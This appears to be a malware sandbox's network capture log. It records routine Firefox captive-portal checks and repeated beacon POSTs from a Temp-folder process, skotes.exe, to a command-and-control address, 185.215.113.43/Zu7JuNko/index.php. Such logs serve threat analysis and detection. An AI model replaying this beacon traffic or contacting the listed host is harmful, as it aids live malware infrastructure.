Nov 23, 2024 13:30:09.089756012 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 13:59:07 GMT Age: 81061 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 13:30:13.390460014 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 13:30:13.714030981 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 13:59:07 GMT Age: 81066 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 13:30:23.270162106 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 13:30:23.598819017 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 13:59:07 GMT Age: 81076 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 13:30:24.651649952 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 13:30:24.977235079 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 13:59:07 GMT Age: 81077 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 13:30:27.130805016 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 13:30:27.459114075 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 13:59:07 GMT Age: 81080 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 13:30:35.539278984 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 13:30:35.865690947 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 13:59:07 GMT Age: 81088 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 13:30:45.911360025 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:30:53.987880945 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 13:30:54.313522100 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 13:59:07 GMT Age: 81107 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 13:30:55.323353052 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 13:30:55.647636890 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 13:59:07 GMT Age: 81108 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 13:31:05.716443062 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:31:15.920422077 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:31:16.973931074 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 13:31:17.299901962 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 13:59:07 GMT Age: 81130 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 13:31:27.305375099 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:31:37.505155087 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:31:47.704505920 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:31:57.919785976 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:32:08.112766027 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:32:18.307600975 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:32:28.519522905 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 13:32:38.540667057 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 13:32:38.864218950 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 13:59:07 GMT Age: 81211 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 13:32:57.395596027 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 13:32:57.718980074 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 13:59:07 GMT Age: 81230 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 13:32:58.716566086 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 13:32:59.061264038 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 13:59:07 GMT Age: 81231 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	50082	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:56.972815037 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:29:58.359719038 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:29:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	50090	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:30:00.138629913 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:30:01.491894960 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:30:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	50098	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:30:03.136799097 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:30:04.526884079 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:30:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	50110	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:30:06.276633024 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:30:07.608088017 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:30:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	50117	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:30:09.257966995 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:30:10.685015917 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:30:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	50122	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:30:12.443054914 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:30:13.773890018 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:30:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	50123	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:30:15.415666103 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:30:16.749820948 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:30:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	50124	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:30:18.494462013 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:30:19.899831057 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:30:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	50125	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:30:21.551145077 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:30:22.988244057 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:30:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	50135	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:30:24.735418081 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:30:26.201329947 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:30:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	50137	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:30:27.834904909 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:30:29.226490974 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:30:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	50138	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:30:30.978342056 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
